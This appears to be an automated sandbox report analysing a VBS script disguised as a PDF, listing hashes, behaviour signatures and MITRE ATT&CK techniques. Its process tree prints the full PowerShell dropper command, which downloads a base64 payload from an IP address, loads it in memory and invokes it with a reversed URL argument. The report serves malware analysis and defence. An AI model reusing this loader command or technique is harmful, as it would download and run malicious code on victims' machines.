9c3b123bf5be1332f7b3727c8f6c352887437b5329ffc083d0b65833cfe5678c

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
24-12-2024 10:35

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General

Target

URFT06GSBAWRP_001_PDF/RQK02HVBPO_002_PDF.vbs
Size

219KB
MD5

86d9cdbe85e0b345c00063cb59efda75
SHA1

6990625fff03cdc505a7c9a224c39fb9c1b1ab80
SHA256

541752eae29c171bb8ab3f5851b6f58ba58035298b8781990998d22cd4982f6e
SHA512

0f39d5b741cb5fc822f17306537a4659c5ff191f18ef47e18aa3f604eb9d4598f1c01316068285531916a57bd0410b27fd8d44adb3bda41ee691098cd5b1bc2f
SSDEEP

48:DVK0hbQvuivLvyvTxYvsvuiv7vu2vJR2vFvvvfv1KvFvDv2UfHvrvUvgYvc2vGgu:xKWdUIlVc8WGvXimF

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://20.7.14.99/dll/dll_ink.pdf

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	4332	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4332	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4332	powershell.exe
4332	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4332	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1764 wrote to memory of 4332	1764	WScript.exe	84
PID 1764 wrote to memory of 4332	1764	WScript.exe	84

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\URFT06GSBAWRP_001_PDF\RQK02HVBPO_002_PDF.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://20.7.14.99/dll/dll_ink.pdf'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('9a82ea0d2fb5-1179-4854-75ce-8a89ca37=nekot&aidem=tla?txt.cnysay/o/moc.topsppa.483ca-dpoj/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rgejn5lo.hzp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4332-0-0x00007FF8BE393000-0x00007FF8BE395000-memory.dmp

Filesize
8KB

Download
memory/4332-1-0x00000191597A0000-0x00000191597C2000-memory.dmp

Filesize
136KB

Download
memory/4332-11-0x00007FF8BE390000-0x00007FF8BEE51000-memory.dmp

Filesize
10.8MB

Download
memory/4332-12-0x00007FF8BE390000-0x00007FF8BEE51000-memory.dmp

Filesize
10.8MB

Download
memory/4332-13-0x00007FF8BE390000-0x00007FF8BEE51000-memory.dmp

Filesize
10.8MB

Download
memory/4332-14-0x00007FF8BE390000-0x00007FF8BEE51000-memory.dmp

Filesize
10.8MB

Download
memory/4332-15-0x00007FF8BE390000-0x00007FF8BEE51000-memory.dmp

Filesize
10.8MB

Download
memory/4332-18-0x00007FF8BE390000-0x00007FF8BEE51000-memory.dmp

Filesize
10.8MB

Download